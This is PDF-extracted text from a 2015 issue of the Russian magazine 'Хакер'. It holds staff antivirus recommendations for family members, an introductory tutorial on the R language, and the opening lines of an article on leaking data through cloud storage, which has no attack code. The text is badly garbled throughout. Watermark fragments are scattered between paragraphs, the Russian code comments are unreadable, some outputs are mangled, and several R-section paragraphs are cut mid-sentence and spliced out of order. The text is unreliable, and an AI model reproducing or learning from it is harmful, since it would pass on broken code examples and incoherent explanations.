Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
19.04.2024
Размер:
25.3 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

80 m

Malware

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

АНТИВИРУСДЛЯМЛАДШЕГО БРАТА/МАМЫ/ДЕВУШКИ:ТАКОЙ, ЧТОБЫЛИШНИХВОПРОСОВНЕ ЗАДАВАЛ,НОБЫЛЭФФЕКТИВЕН

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АнтонЖуков

Что касается антивирусного решения для брата/мамы/девушки, то здесь на первом месте обычно идет сама ОС, а именно управление учетными записями — ни в коем случае нельзя им позволить сидеть под админом. Для повседневных задач (серфинг, работа в ворде, игры) хватает привилегий обычного пользователя. Ну и для пущего успокоения можно поставить тот же самый KIS — интерфейс у него достаточно продуманный и не вызовет трудностей даже у новичка. Из бесплатных решений есть положительный опыт использова-

ния Avast.

АлександрЛозовский

Перечислю факты: жене на ноутбук установил KIS. И кстати, не только потому, что мне его на халяву дали на конференции :), ведь я журналист и дистрибы антивирусов у меня есть разные. Не тормозит (ноут — Core i3 Ivy Bridge, 4 Гб RAM, SSD), лишних вопросов действительно не задает. На телефоне у нее стоит Dr.Web Light. Маме на ноут поставил Avast, так как ноут у нее слабый. При всей моей любви к Avast не удержусь от критики — их методы развода (ОК, не развода, а мотивации :)) юзеров на покупку премиумверсии, все эти их всплывающие окошечки очень сильно раздражают.

Старшему сыну поставил на планшет вообще Trend Micro, а по какой причине я это сделал — не помню, наверное был пьян. Но менять не собираюсь :).

АлександрВащило

В вопросе, какой антивирус поставить младшему брату или подруге, обычно исхожу из того, что последние не готовы платить за него :). Соответственно, приходится выбирать какое-то бесплатное решение. По старой памяти устанавливаю Avast или Сomodo. Однако Avast не нравится своими огромными всплывающими баннерами с призывами заплатить. Comodo довольно хорош, но много программ и действий пользователя помечает как потенциально опасные, что обычного юзера может пугать

ираздражать. Именно за эту эвристику мне

ипонравился Comodo, но для большинства пользователей его параноидальность представляет собой лишнее «зло». Конечно, правильная настройка может его уменьшить...

ЕвгенийЗобнин

Моя девушка была очень рада сменить Windows на Ubuntu. С ее мамой было сложнее, поэтому остановился на Nod32. Прост, неприхотлив, ненавязчив.

Плюс Dr.Web CureIt.

Deeonis

Всем близким родственникам поставил на ПК Ubuntu. Серфинг веба составляет 99% задач, а если надо запустить чтото виндовое, помогает Wine.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

Антивирусы’2014

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

ВЛАДИМИРТРЕГУБЕНКО,

ПОСТОЯННЫЙАВТОРРУБРИКИ«MALWARE»

Сколько я себя помню, на моих компьютерах никогда не было никаких антивирусов. Он нужен в первую очередь тем, кто весьма поверхностно понимает, что вообще происходит внутри компьютера, то есть обычному пользователю. Те, кто достаточно хорошо разбирается в IT, прекрасно знают, что защита — это комплексная вещь.

Я, например, на всех компьютерах, с которыми приходилось иметь дело, везде принудительно отключаю автозапуск с USB-устройств. Я считаю, что это намного более эффективный метод защиты, чем антивирус. По некоторым оценкам, около 50% malware для работы необходимы права администратора, работа с правами пользователя, соответственно, уменьшает вероятность заражения в два раза. Есть и более хитрые приемы: например, если выставить запрет выполнения для каталога temp, процентов 90 malware просто не запустится. Но это очень хардкорный прием, после таких манипуляций станет невозможной установка большинства программ, и поэтому обычным пользователям он не подходит. Что еще? Хранение важных данных на внешних носителях

ипосещение только проверенных годами сайтов. Ну и естественно, постоянный ликбез в области IT.

Это все к тому, что нельзя просто поставить антивирус и радоваться жизни, так не бывает.

Теперь что касается конкретных рекомендаций. Как известно, у malware, как и у биологических вредоносных микроорганизмов, есть такое понятие, как ареал обитания. Соответственно, российский антивирус будет лучше работать в России, а европейский — в Европе. То есть по этому принципу Kaspersky

иDr.Web вне конкуренции.

Сдругой стороны, для большинства пользователей ключевым остается фактор цены. И тут есть два своих фаворита — Avast и Avira, которые предлагают полностью бесплатные решения.

Со своей стороны могу высказать субъективное мнение по поводу некоторых антивирусов. Когда-то давно Dr.Web был для меня эталоном антивируса: написан на ассемблере, малый размер баз, скорость работы — все было на высоте. Но неграмотная маркетинговая политика не позволила ему стать лидером рынка. А теперь маркетологи полностью взяли власть в свои руки, кстати, это касается всех без исключения производителей. Интерфейс стал громоздким, размер инсталляционного пакета начал переваливать за 200 Мб, а размер баз — и того больше. И у Kaspersky все то же самое. Единственный огромный плюс Kaspersky — это скорость реакции, новые сигнатуры действительно добавляются намного быстрее, чем у конкурентов. Но интерфейс, использование ресурсов компьютера

ипроцедура загрузки обновлений — это что-то с чем-то… В этом плане радует компания ESET, интерфейс удерживает разумный баланс между громоздкостью

иудобностью, размер баз не очень велик, плюс они унифицированы. Видимо, там маркетологов держат в узде.

Иногда складывается впечатление, что создатели антивирусов соревнуются в вычурности интерфейса, а не в реальном внедрении всяких инноваций, типа реально работающей проактивной защиты, которая по факту у многих так и осталась красивым выражением из рекламного буклета.

Ну а среди бесплатных решений альтернативы Avast нет, что, кстати, отлично сейчас заметно, так как компания показывает очень хорошие темпы роста рынка.

Бесплатный Comodo — это средство для гиков, он хорош как средство проактивной защиты при грамотной его настройке, но как классический антивирус он ничего из себя не представляет.

Перспективной идеей является использование sandbox, многие вендоры уже реализовали в своих продуктах нечто подобное. Следующий шаг — реализация sandbox с помощью виртуализации, это будет реальный прорыв.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click81

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

82

 

 

Кодинг

w Click

 

 

m

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

РАЗБИРАЕМСЯ В АНАЛИЗЕ ДАННЫХ С ИСПОЛЬЗОВАНИЕМ СТАТИСТИЧЕСКОГО ПАКЕТА

В прошлой статье из декабрьского номера я начал говорить об анализе данных и закончил

на том, как быстро решить задачу линейной регрессии на R. Сегодня я более подробно расскажу об R как о языке программирования.

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

 

R

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

Виталий Худобахшов

 

 

 

 

 

 

 

 

 

 

 

vitaly@betamind.ru

 

 

 

 

 

 

 

 

 

 

 

Когда-то это был язык для работы со статистикой, но сейчас его вполне можно считать языком общего назначения (хотя основную свою направ-

ленность он сохранил). Кто не верит, может заглянуть на страничку проекта Shiny (shiny.rstudio. com), с помощью которого любой может создавать полноценные веб-приложения на R.

Ну да ладно, нас язык R интересует именно в той области, где он действительно хорош. В этой статье я расскажу о самых базовых объектах в языке и его особенностях. Кто-то мудрый давно заметил, что самое хорошее в языке R — это то, что он был создан специалистами по статистике, а самое плохое — то, что он был создан специалистами по статистике :).

Опустив вопросы установки R, с которыми довольно легко справиться (тем более что про это я немного уже писал в прошлой статье), приступим к изучению языка.

ВСЕ,ЧТОВЫХОТЕЛИЗНАТЬОФУНКЦИИ, НОБОЯЛИСЬСПРОСИТЬ

В языке R доступна очень большая инфраструктура пакетов и, как следствие, совершенно невероятное количество функций для повседневного использования. Что делать, если ты знаешь название, но не помнишь правильное употребление функции? Решением станет очень приличный help, правильным образом встроенный в систему. Для того чтобы получить справку об использовании той или иной функции, достаточно набрать ?и _ ун ии.

ВЕКТОРЫ

Начнем с базовых объектов, из которых состоит язык. В большинстве языков программирования, с которыми тебе приходилось иметь дело, примитивными объектами являются числа, объекты булева типа и прочие действительно примитивные вещи.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Введение в R

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

83Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

В языке R полно сюрпризов, и первый из них заключается в том, что примитивным объектом в R является вектор, то есть совокупность значений одной природы. К примеру, вектор вещественных чисел. Хочется спросить, а как быть с обычными числами? Скажем, с числом 10. Ответ на этот вопрос довольно прост — это вектор из одного элемента.

Векторы бывают следующих типов:

целые;

числовые (вещественные);

символьные;

комплексные;

логические.

По умолчанию числа в R — это вещественные числа, то есть числа с плавающей запятой. Для того чтобы явно указать R, что число, с которым ты собираешься иметь дела, целое, нужно добавить суффикс L. Например, 10L. Это легко иллюстрирует следующий код:

>x <- 1

>typeof(x) [1] "double"

>y <- 1L

>typeof(y) [1] "integer"

Здесь будет использоваться символ приглашения >, чтобы отличать код от ответа системы. В работе с числами существует специальный символ Inf для представления бесконечности.

Следует обратить внимание на оператор присваивания <-. Рассмотрим следующий фрагмент:

> x

<- 10

 

 

 

 

>

x

 

#

е а ае

x

 

[1]

10

 

 

 

 

>

print(x)

#

е е аз

е

а ае

[1]

10

 

 

 

 

В этом, казалось бы, очевидном фрагменте кода есть два важных момента: печатать можно, просто указывая имя переменной в строке или используя функцию, предназначенную для печати. Это довольно характерно для всех языков, в которых есть интерактивный интерпретатор

REPL (Read — Evaluate — Print Loop). Функция print скорее используется для печати внутри других функций для отладки или просто для вывода какой-либо информации. Что более важно и менее очевидно, строка [1] 10, выводимая в качестве результата в R, говорит, что это первый (и единственный) элемент вектора.

Число 1 в квадратных скобках выводится для удобства чтения. К примеру, если вектор не влезает в ширину экрана, то он разбивается на строки и числа перед каждой строкой — это индекс элемента вектора, с которого начинается данная строка.

Для создания обычного вектора используется функция c:

>x <- c(1,2,3)

>x

[1] 1 2 3

Так же как и во многих других языках, можно создавать векторы, указывая интервал значений:

>x <- c(1:3)

>x

[1] 1 2 3

Казалось бы, результат тот же, однако все не совсем так. Так как это целочисленный интервал, содержимое второго вектора — это целые числа, а первого — вещественные. Что легко проверить с помощью функции typeof. В последнем случае еще можно писать просто x <- 1:3. Значения булева типа в языке R выглядят как TRUE и FALSE или просто T и F. Для того чтобы создать пустой вектор нужного типа, необходимо использовать функцию vector.

>x <- vector("numeric", length = 10)

>x

[1] 0 0 0 0 0 0 0 0 0 0

> length(x)

[1] 10

Неявное преобразование типов в R хорошо иллюстрируется следующим примером:

>x <- c("a", TRUE, 1.3)

>x

[1] "a" "TRUE" "1.3"

>y <- c(2, TRUE, FALSE)

>y

[1] 2 1 0

Часто бывает необходимо воспользоваться явным преобразованием типов. Рассмотрим пример:

>as(TRUE, "character") [1] "TRUE"

>as.character(TRUE) [1] "TRUE"

Два строчки делают в точности то же самое, однако с точки зрения читаемости кода второй подход выглядит более предпочтительным. Вообще, функции создания, проверки и преобразования типов легко запомнить следующим образом. Для создания (пустого вектора строк) используется character(length=5), где length — количество элементов, is.character используется для сравнения, а as.character для преобразования. Когда преобразование невозможно, его результатом будет специальное значение NA.

Элементы вектора могут быть заименованы, это можно сделать следующим образом:

>v <- c(x = 1.0, y = 2.5, z = -0.1)

>v

x y z

1.0 2.5 -0.1

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

84

 

 

w Click

 

 

m

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

Кодинг

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Или так:

>u <- c(1.0, -0.5, -0.5)

>names(u) <- c("x", "y", "z")

МАТРИЦЫ

С векторами все довольно просто, давай теперь попробуем разобраться с другой полезной структурой данных — матрицами. Для создания матрицы есть специальная функция matrix:

>m <- matrix(nrow = 2, ncol = 3)

>m

[,1] [,2] [,3]

[1,] NA NA NA

[2,] NA NA NA

Как видно, изначально создается пустая матрица. Для того чтобы получить размеры матрицы, существует специальный атрибут dim:

>dim(m) [1] 2 3

>attributes(m) $dim

[1] 2 3

Следует отметить, что в смысле хранения двумерных объектов (массивов, матриц) все языки делятся на две группы: те, что хранят матрицы по строкам, такие как C и Java, и те, что хранят по столбцам, — это, к примеру, FORTRAN и R. В том, что это именно так, легко убедиться следующим образом:

>m <- matrix(1:6, nrow = 2, ncol = 3)

>m

[,1] [,2] [,3]

[1,] 1 3 5

[2,] 2 4 6

Причем задавать двумерную структуру можно, просто добавляя атрибут dim к вектору:

>v <- 1:6

>dim(v) <- c(2, 3)

>v

[,1] [,2] [,3]

[1,] 1 3 5

[2,] 2 4 6

Сверх того, строкам и колонкам матрицы можно давать имена:

>m <- matrix(1:4, nrow=2, ncol=2)

>dimnames(m) <- list(c("a", "b"), c("c", "d"))

>m

c d

a 1 3

b 2 4

В языке R существует также механизм создания двумерных структур из одномерных с помощью операций присоединения строки или столбца:

>x <- 1:3

>y <- 11:13

>cbind(x, y) x y

[1,] 1 11 [2,] 2 12 [3,] 3 13

>rbind(x, y) [,1] [,2] [,3]

x 1 2 3

y 11 12 13

О том, как работать с отдельными элементами структур данных, я напишу чуть позже, а пока продолжим разбираться с самими структурами.

СПИСКИИФАКТОРЫ

В этом разделе рассмотрим еще две полезные структуры данных. Первая — это, конечно, список. Дело в том, что часто приходится хранить данные разного типа в одном месте.

Как мы знаем, вектор здесь не подходит, потому что его элементы должны быть одного типа, поэтому в R предусмотрены списки:

>lst <- list("hello", 1.5, TRUE, 1+2i)

>lst

[[1]]

[1] "hello"

[[2]]

[1] 1.5

[[3]]

[1] TRUE

[[4]]

[1] 1+2i

Как видно, в списке содержится четыре элемента, и все они разного типа: строка, вещественное число, булево значение и комплексное число. Элементы списка можно именовать, как и элементы вектора:

>l <- list(a="test", b=3.14)

>l

$a

[1] "test"

$b

[1] 3.14

Во многих языках программирования есть перечислимый тип данных. Он нужен для того, чтобы работать с данными, в качестве значения которых могут выступать элементы конечного множества. Когда такого типа в языке нет, этот вопрос решается с помощью констант для соответствующего набора значений. В языке R для обеспечения подобной функциональности есть специальный тип — фактор:

>x <- factor(c("yes", "no", "yes", "no", "no"))

>x

[1] yes no yes no no

Levels: no yes

Здесь создается вектор факторов с двумя возможными значениями: yes и no. Можно, к примеру, подсчитать, сколько соответствующих значений есть в нашем векторе:

> table(x)

x

no yes

32

ФРЕЙМДАННЫХ(DATAFRAME)

Фрейм данных — один из самых полезных типов данных в R. Когда мы работаем с реальными табличными данными, именно этот тип представляет таблицы. В отличие от матриц, данный тип позволяет хранить различные типы данных в разных колонках. С точки зрения хранения этот тип данных можно представить как список специального вида, где элементами списка являются списки одинаковой длины (колонки). Для за-

грузки фрейма данных из CSV-файла существует функция read.csv, которая уже встречалась нам в предыдущей статье этой серии.

Можно создать фрейм данных вручную, например так:

>x <- data.frame(a=c(F, F, T, T), b=c(F, T, F, T), or=c(F, T, T, T))

>x

a b or

1 FALSE FALSE FALSE

2 FALSE TRUE TRUE

3 TRUE FALSE TRUE

4 TRUE TRUE TRUE

Помимо атрибута names, для фрейма данных также есть row.names:

> names(x)

[1] "a" "b" "or"

> row.names(x)

[1] "1" "2" "3" "4"

ДОСТУПКЭЛЕМЕНТАМ

Как ты мог заметить, до сих пор я рассказывал лишь о том, какие бывают структуры данных, но ничего не сказал про то, как получать доступ к отдельным элементам или подмножествам. Посмотрим, как это работает, на простом примере с вектором:

>x <- c(11, 21, 31, 41, 11, 21, 31)

>x[1]

[1] 11

>x[2] [1] 21

>x[x > 21] [1] 31 41 31

>j <- x > 21

>j

[1]FALSE FALSE TRUE TRUE FALSE FALSE TRUE

> x[j]

[1] 31 41 31

> x[1:3]

[1] 11 21 31

Наверное, единственный комментарий, который требуется к данному примеру, — это то, что операция > работает как векторная операция

ирезультатом ее выполнения будет вектор булевых значений, этот вектор может быть использован для выборки данных из вектора.

При работе с матрицами также не возникает никаких сложностей, нужные строки и столбцы мы можем получить легко и непринужденно. К примеру, запись x[2,3] — это элемент во второй строке и в третьем столбце, а x[1,]

иz[,2] — это первая строка и второй столбец соответственно. По умолчанию эти операции возвращают вектор, а не матрицу, в которой одна строка или столбец, и если мы хотим, чтобы результатом выполнения данной операции была все-таки матрица, пусть и другого размера, то нужно использовать дополнительный пара-

метр x[1, ,drop=FALSE].

С доступом к элементам списка все немного сложнее. Рассмотрим следующий пример:

>l <- list(a=0.5, b=1:3)

>l$a

[1] 0.5

>l$b [1] 1 2 3

>x <- l[2]

>x

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Введение в R

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w85Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$b

[1] 1 2 3

>typeof(x) [1] "list"

>y <- l[[2]]

>typeof(y) [1] "integer"

>y

[1] 1 2 3

На этом примере достаточно хорошо видны особенности доступа к элементам в R.

Как можно заметить, использование [[]] не гарантирует соответствие типа возвращаемого значения изначальному, а в случае одинарных скобок [] возвращаемое значение также является списком. В этом смысле $ и [[]] работают очень похоже. Хотя есть некоторая особенность — значение в двойных квадратных скобках может быть вычислено, а имя после знака $ — нет.

Списки бывают вложенными, и доступ к их элементам осуществляется с помощью вложенных скобок, как и полагается: x[[1]][[3]], однако можно сделать запись чуть более понятной, используя функцию c. К примеру, последнее выражение можно записать как x[[c(1, 3)]]. Причем использовать селектор с одной скобкой не получится (подумай почему).

УПРАВЛЯЮЩИЕСТРУКТУРЫ

Надо заметить, что в данной статье я рассматриваю R именно как язык программирования, но на самом деле можно было бы взглянуть на него как на систему для работы со статистикой с типичными функциями для решения повседневных задач. Однако я предпочту быть консервативным в изложении и, как полагается после описания базовых типов, перейду к разговору об условных блоках и циклах.

Начнем с условного оператора. Надо сказать, что здесь в R нет почти ничего особенного, но все-таки:

if (x > 0) { y <- x } else { y <- -x }

Ничего нового тут нет, и else может быть опущен. Хотя и тут не обошлось без несколько необычного поведения. В функциональных языках,

конструкция z <- if (x < 0) -x вполне допустима, но значением этого выражения при x > 0 будет специальное значение NULL. Для сравнения с этим значением можно использовать функцию

is.null.

Теперь стоит сказать пару слов о циклах. Циклы в R работают медленно, но когда мы имеем сравнительно небольшой объем данных, то использование циклов может быть вполне допустимо и даже удобно. С этой точки зрения R также мало отличается от других языков программирования. Начнем с цикла for, который реализует известную парадигму for-in.

x <- c("a", "b", "c", "d", "e")

for(i in 1:5) {

print(x[i])

}

for(ch in x) print(ch)

Как и полагается, цикл for-in реализует процесс итерации по вектору или последовательности, последний вариант более лаконичен, однако если нам каким-либо образом нужны индексы, то хорошо бы иметь возможность создавать последовательность, соответствующую заданному вектору.

Для этого в R предусмотрена специальная функция seq_along, принимающая в качестве аргумента вектор или список, для которых строится последовательность индексов. Таким образом, первый цикл можно было бы перепи-

сать в виде for(i in seq_along(x)) { ... }.

Для того чтобы сгенерировать последовательность заданной длины, можно воспользоваться функцией seq_len.

Кстати, все эти вопросы легко решить известными средствами, используя лишь функцию вычисления длины length. Цикл while имеет вполне классическую форму while (cond) { ... }.

Логические связки в R также выглядят стандартным образом: &&, || и !. В дополнение к банальному while(TRUE) в R присутствует небанальный repeat { ... }, выход из которого обеспечивает, как обычно, комбинация if и break. Для перехода к следующей итерации предусмотрен оператор с несколько неожиданным названием next.

Язык R достаточно гибок при работе

с формальными параметрами и аргументами.

В нем допускается использование значения по умолчанию

таких как Haskell, конструкция if является выражением, а не оператором, то есть возвращает значение, а не изменяет состояние. В языке R эта идея также нашла себе место в следующей конструкции:

y <- if (x > 0) { x } else { -x }

# и у н е о и о но о у и

Последняя конструкция делает то же самое, что и предыдущая, только в функциональном стиле. Однако в функциональных языках выражение должно быть определено и поэтому наличие ветви else обязательно. Здесь же это не так,

Как можно заметить, разделителей вроде точки с запятой между операторами в R нет.

ФУНКЦИИ

Как уж без функций в приличном языке программирования? В самом общем виде определение функции выглядит следующим образом:

f <- function(<args>) {

...

}

Как и в функциональных языках, функции в R являются объектами первого класса (first-class

object). Это означает, что их можно передать в качестве аргумента в другую функцию и вернуть в качестве значения. Анонимные (лямбда) функции также присутствуют:

f <- function(g) {

function(x) g(g(x))

}

y <- f(function(x) x * x)(5)

Здесь функция f принимает в качестве аргумента функцию g и возвращает функцию, которая имеет один формальный параметр x и дважды применяет к нему функцию g. Также в коде можно увидеть передачу анонимной функции в качестве аргумента, а полученный результат (композиция функций g и самой себя) применяется к числу 5. Таким образом, число 5 будет дважды возведено в квадрат.

Порядок вычисления аргументов в R является отложенным (lazy), то есть аргумент не вычисляется, если он не нужен:

>f <- function(x, y) x * x

>f(3)

[1] 9

> f(3, 5/0)

[1] 9

Для того чтобы правильно работать с состоянием в случае замыканий, существует оператор <<-. Рассмотрим пример:

counter <- function() { i <- 0

function() {

i <<- i + 1

i

}

}

Теперь мы можем создать счетчик или даже два и проверить, как все работает:

>counter_one <- counter()

>counter_two <- counter()

>counter_one()

[1] 1

>counter_one() [1] 2

>counter_two() [1] 1

Как видно, все работает штатно, однако если заменить оператор <<- на обычный оператор присваивания, то ничего работать не будет и счетчик всегда будет выдавать число 1.

Язык R достаточно гибок при работе с формальными параметрами и аргументами. В нем допускается использование значения по умолчанию и вызов функции с произвольным порядком аргументов (по имени):

>f <- function(x, y=1) x + y

>f(y=2, x=5)

Многие функции в R имеют довольно большой список формальных параметров и значений по умолчанию, и поэтому передавать в них аргументы удобнее по имени.

ПРОДОЛЖЕНИЕСЛЕДУЕТ

В следующей статье я продолжу рассказывать про программирование на R с использованием уже реальных примеров векторизации и визуализации.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

86 m

Кодинг

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

MBAAS

Сергей Бобровский infiltration.ru

ИСПОЛЬЗУЕМ ОБЛАЧНЫЕ ХРАНИЛИЩА ДЛЯ СЛИВА ИНФОРМАЦИИ

Современные облачные сервисы предлагают хакерам потенциально неограниченные ресурсы. Так, Амазон активно используется для взлома WPAбрутфорсом — немецкий эксперт Томас Рот еще в 2011-м перебирал полмиллиона паролей в секунду, оплачивая каждую минуту всего 28 центами. Сегодня скорость перебора за ту же цену наверня-

ка достигла не одного миллиона вариантов. И даже Wikileaks перенесла свои документы в амазоновские службы, научившиеся достаточно успешно справляться с DDoS-атаками. Пора в облака и нам.

 

 

 

 

